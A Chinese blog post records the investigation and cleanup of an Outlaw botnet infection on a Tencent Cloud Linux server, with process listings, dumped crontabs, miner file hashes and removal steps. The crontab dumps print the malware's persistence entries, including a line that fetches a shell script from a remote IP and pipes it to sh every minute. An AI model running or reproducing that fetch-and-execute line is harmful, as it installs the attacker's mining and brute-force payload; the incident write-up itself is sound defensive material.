Linux【问题记录 02】腾讯云 cron、sshd 进程CPU占用超95%(亡命徒 Outlaw 僵尸网络攻击)问题排查及处理步骤

本文涉及的产品
检索分析服务 Elasticsearch 版,2核4GB开发者规格 1个月
简介: Linux【问题记录 02】腾讯云 cron、sshd 进程CPU占用超95%(亡命徒 Outlaw 僵尸网络攻击)问题排查及处理步骤

《亡命徒(Outlaw)僵尸网络感染约2万台Linux服务器,腾讯安全提醒企业及时清除》 一文得知 kswapd0 是挖矿程序,tsm 是爆破程序【tsm之前见过,占用率不高,还以为是 TencentSystemManager 😠】这次没有 tsm 进程了,看来已经爆破成功 😢

1.开始排查

# 只保留有问题的两个进程【曾经kill过 没在意 之前的cpu占用没有这么高】
[root@tcloud ~]# top
top - 13:55:18 up 21 days,  4:43,  1 user,  load average: 4.52, 4.25, 3.76
Tasks: 285 total,   1 running, 284 sleeping,   0 stopped,   0 zombie
%Cpu(s): 96.7 us,  2.6 sy,  0.0 ni,  0.0 id,  0.0 wa,  0.0 hi,  0.7 si,  0.0 st
KiB Mem :  1882020 total,   110312 free,  1209604 used,   562104 buff/cache
KiB Swap:        0 total,        0 free,        0 used.   218676 avail Mem
  PID USER      PR  NI    VIRT    RES    SHR S %CPU %MEM     TIME+ COMMAND
 3460 elastic+  20   0  307928 269380      4 S 70.8 14.3 611:32.96 cron
 6011 elastic+  20   0   50476  15104      4 S 24.9  0.8   4:55.06 sshd

查看了一下定时任务:

[root@tcloud ~]# crontab -l
no crontab for root

查看了一下 /var/spool/cron/ 文件夹的定时任务:

[root@tcloud ~]# cd /var/spool/cron/
[root@tcloud cron]# ll
total 12
-rw------- 1 elasticsearch elasticsearch 328 Sep 13 23:19 elasticsearch
-rw------- 1 gpadmin       gpadmin        73 Sep  2 01:55 gpadmin
-rw------- 1 hadoop        hadoop        283 Aug 20 11:57 hadoop
[root@tcloud cron]# cat ./elasticsearch
1 1 */2 * * /usr/local/elasticsearch/.configrc/a/upd>/dev/null 2>&1
@reboot /usr/local/elasticsearch/.configrc/a/upd>/dev/null 2>&1
5 8 * * 1 /usr/local/elasticsearch/.configrc/b/sync>/dev/null 2>&1
@reboot /usr/local/elasticsearch/.configrc/b/sync>/dev/null 2>&1
#0 */23 * * * /tmp/.X26-unix/.rsync/c/aptitude>/dev/null 2>&1
# 这个明显就是kdevtmpfsi挖矿病毒的定时任务
[root@tcloud cron]# cat ./gpadmin
* * * * * wget -q -O - http://195.3.146.118/spr.sh | sh > /dev/null 2>&1
[root@tcloud cron]# cat ./hadoop
1 1 */2 * * /tmp/.X25-unix/.rsync/c/a/upd>/dev/null 2>&1
@reboot /tmp/.X25-unix/.rsync/c/a/upd>/dev/null 2>&1
5 8 * * 1 /tmp/.X25-unix/.rsync/c/b/sync>/dev/null 2>&1
@reboot /tmp/.X25-unix/.rsync/c/b/sync>/dev/null 2>&1
0 */23 * * * /tmp/.X25-unix/.rsync/c/aptitude>/dev/null 2>&1

查看了一下阿里云的服务器:

[root@aliyun ~]# cd /var/spool/cron/
[root@aliyun cron]# ll
total 0

2.病毒处理建议

建议企业 Linux 服务器管理员检查服务器资源占用情况,及时修改弱密码,避免被暴力破解。若发现服务器已被入侵安装挖矿木马,可参考以下步骤手动检查、清除:

  1. 删除以下文件,杀死对应进程:
    /tmp/*-unix/.rsync/a/kswapd0
    */.configrc/a/kswapd0 md5: 84945e9ea1950be3e870b798bd7c7559
    /tmp/*-unix/.rsync/c/tsm64 md5: 4adb78770e06f8b257f77f555bf28065
    /tmp/*-unix/.rsync/c/tsm32 md5: 10ea65f54f719bffcc0ae2cde450cb7a
  2. 检查 cron.d 中是否存在包含以下内容的定时任务,如有进行删除:
    /a/upd
    /b/sync
    /c/aptitude

3.详细处理过程

# 1.先删除了 /var/spool/cron/ 下的全部文件
# 2.kill掉【cron】和【sshd】两个进程
# 3.查找定时任务
[root@tcloud ~]# find / -name cron.d
/usr/local/elasticsearch/.configrc/cron.d
/etc/cron.d
  # /etc/cron.d 文件夹下文件【未发现病毒定时任务】
  # 查看/usr/local/elasticsearch/.configrc/cron.d后发现是病毒任务 将其删除 
  [root@tcloud ~]# cat /usr/local/elasticsearch/.configrc/cron.d
  1 1 */2 * * /usr/local/elasticsearch/.configrc/a/upd>/dev/null 2>&1
  @reboot /usr/local/elasticsearch/.configrc/a/upd>/dev/null 2>&1
  5 8 * * 1 /usr/local/elasticsearch/.configrc/b/sync>/dev/null 2>&1
  @reboot /usr/local/elasticsearch/.configrc/b/sync>/dev/null 2>&1
  #0 */23 * * * /tmp/.X26-unix/.rsync/c/aptitude>/dev/null 2>&1
# 4.查找 kswapd0 相关文件【未找到】
[root@tcloud ~]# find / -name kswapd0
# 5.查找 tsm64 相关文件【未找到】
[root@tcloud ~]# find / -name tsm64
# 6.查找 tsm32 相关文件【未找到】
[root@tcloud ~]# find / -name tsm32

4.总结

感觉上处理的并不彻底,先观察一下 😂

相关实践学习
使用阿里云Elasticsearch体验信息检索加速
通过创建登录阿里云Elasticsearch集群,使用DataWorks将MySQL数据同步至Elasticsearch,体验多条件检索效果,简单展示数据同步和信息检索加速的过程和操作。
ElasticSearch 入门精讲
ElasticSearch是一个开源的、基于Lucene的、分布式、高扩展、高实时的搜索与数据分析引擎。根据DB-Engines的排名显示,Elasticsearch是最受欢迎的企业搜索引擎,其次是Apache Solr(也是基于Lucene)。 ElasticSearch的实现原理主要分为以下几个步骤: 用户将数据提交到Elastic Search 数据库中 通过分词控制器去将对应的语句分词,将其权重和分词结果一并存入数据 当用户搜索数据时候,再根据权重将结果排名、打分 将返回结果呈现给用户 Elasticsearch可以用于搜索各种文档。它提供可扩展的搜索,具有接近实时的搜索,并支持多租户。
目录
相关文章
|
20天前
|
存储 Linux Shell
在Linux中,如何使用脚本,实现判断 192.168.1.0/24 网络里,当前在线的 IP 有哪些?能ping 通则 认为在线。
在Linux中,如何使用脚本,实现判断 192.168.1.0/24 网络里,当前在线的 IP 有哪些?能ping 通则 认为在线。
|
20天前
|
监控 网络协议 Linux
在Linux中,如何实时抓取并显示当前系统中tcp 80 端口的网络数据信息?
在Linux中,如何实时抓取并显示当前系统中tcp 80 端口的网络数据信息?
|
20天前
|
运维 监控 网络协议
在Linux中,如何进行网络故障排查?
在Linux中,如何进行网络故障排查?
|
21天前
|
Prometheus 监控 网络协议
在Linux中,如何监控网络服务的状态和性能?
在Linux中,如何监控网络服务的状态和性能?
|
20天前
|
存储 Ubuntu Linux
揭开自制NAS的神秘面纱:一步步教你如何用Linux打造专属网络存储王国!
【8月更文挑战第22天】构建Linux NAS系统是技术爱好者的热门项目。通过选择合适的发行版如Alpine Linux或Ubuntu Server,并利用现有硬件,你可以创建一个高效、可定制的存储解决方案。安装Linux后,配置网络设置确保可达性,接着安装Samba或NFS实现文件共享。设置SSH服务方便远程管理,利用`rsync`与`cron`进行定期备份。还可添加Web界面如Nextcloud提升用户体验。这一过程不仅节约成本,还赋予用户高度的灵活性和控制权。随着技术发展,Linux NAS方案持续进化,为用户带来更丰富的功能和可能性。
35 1
|
21天前
|
Linux 调度
在Linux中,如何使用cron和at命令进行任务调度?
在Linux中,如何使用cron和at命令进行任务调度?
|
22天前
|
网络协议 Linux
在Linux中,如何分析网络连接和端口占用情况?
在Linux中,如何分析网络连接和端口占用情况?
|
22天前
|
存储 监控 Linux
|
18天前
|
存储 Linux 网络安全
【Azure 存储服务】如何把开启NFS 3.0协议的Azure Blob挂载在Linux VM中呢?(NFS: Network File System 网络文件系统)
【Azure 存储服务】如何把开启NFS 3.0协议的Azure Blob挂载在Linux VM中呢?(NFS: Network File System 网络文件系统)
|
18天前
|
存储 Linux 网络安全
【Azure 应用服务】App Service For Linux 如何在 Web 应用实例上住抓取网络日志
【Azure 应用服务】App Service For Linux 如何在 Web 应用实例上住抓取网络日志